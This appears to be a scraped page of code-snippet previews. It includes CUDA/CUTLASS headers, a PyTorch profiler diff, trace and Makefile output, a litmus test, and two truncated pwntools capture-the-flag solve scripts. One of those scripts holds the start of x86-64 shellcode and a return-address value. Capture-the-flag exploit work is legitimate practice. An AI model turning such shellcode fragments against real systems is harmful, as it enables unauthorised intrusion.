This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// nvcc -O2 -std=c++17 -gencode=arch=compute_80,code=sm_80 -I .../cutlass/include -I .../cutlass/tools/util/include --expt-relaxed-constexpr -lcublas -o main main.cu | |
#include <cutlass/gemm/device/default_gemm_configuration.h> | |
#include <cutlass/layout/matrix.h> | |
#include <cutlass/numeric_types.h> | |
#include <cutlass/gemm/device/gemm.h> | |
#include <cutlass/gemm/device/gemm_grouped.h> | |
#include <cutlass/gemm/kernel/gemm_grouped.h> | |
#include <cutlass/gemm/kernel/default_gemm_grouped.h> | |
#include <cutlass/util/host_tensor.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/torch/csrc/autograd/profiler_kineto.cpp b/torch/csrc/autograd/profiler_kineto.cpp | |
index c68eb18099..f7038051d3 100644 | |
--- a/torch/csrc/autograd/profiler_kineto.cpp | |
+++ b/torch/csrc/autograd/profiler_kineto.cpp | |
@@ -31,6 +31,9 @@ | |
#ifdef USE_KINETO | |
#include <libkineto.h> | |
#include <time_since_epoch.h> | |
+#include <dlfcn.h> | |
+ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>src\forktest.com --ftrace | |
FUN 2556 12684 5'596'885 440 &__nocolor_init | |
FUN 2556 12684 5'810'695 456 &getenv | |
FUN 2556 12684 5'934'173 440 &winclock_init | |
FUN 2556 12684 6'158'823 456 &QueryPerformanceCounter | |
FUN 2556 12684 6'378'783 456 &QueryPerformanceFrequency | |
FUN 2556 12684 6'981'566 440 &outinit | |
FUN 2556 12684 7'126'687 456 &__fflush_register | |
FUN 2556 12684 7'245'432 504 &pthread_mutex_lock | |
FUN 2556 12684 7'351'612 552 &nsync_mu_lock |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
native/texlive/libs/potrace/Makefile:AR = ar | |
native/texlive/libs/gmp/Makefile:AR = ar | |
native/texlive/libs/libpng/Makefile:AR = ar | |
native/texlive/libs/pixman/Makefile:AR = ar | |
native/texlive/libs/harfbuzz/Makefile:AR = ar | |
native/texlive/libs/zziplib/Makefile:AR = ar | |
native/texlive/libs/teckit/Makefile:AR = ar | |
native/texlive/libs/gd/Makefile:AR = ar | |
native/texlive/libs/cairo/Makefile:AR = ar | |
native/texlive/libs/zlib/Makefile:AR = ar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import string | |
PROMPT = b'> ' | |
def main(): | |
with remote('blackout.seccon.games', 9999) as tube: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*** | |
* Instructions: | |
* | |
* Just code everything in C, and add __device__ before every memory and func | |
* that should be accessible on GPU :) | |
* | |
* Test on GCC without GPU, just forks: | |
* gcc -x c -O3 -march=native -o brut brut.cu ; time ./brut 147db93f3e45f64:952781782a15ae6e | |
* | |
* CUDA prod: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# padding; push 0; ret | |
TARGET = int.from_bytes(b'\x00\x00\x6a\x00\xc3', byteorder='little') | |
PROMPT = b': ' | |
SHELLCODE = r''' | |
xor eax, eax | |
xor rdx, rdx | |
xor rsi, rsi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AArch64 RB.correct | |
" | |
Theoretical results: | |
States 2 | |
1:X6=0; 1:X9=61; | |
1:X6=1; 1:X9=41; | |
" | |
{ | |
0:X3=x; 0:X4=y; 0:X5=z; | |
1:X3=x; 1:X4=y; 1:X5=z; |
NewerOlder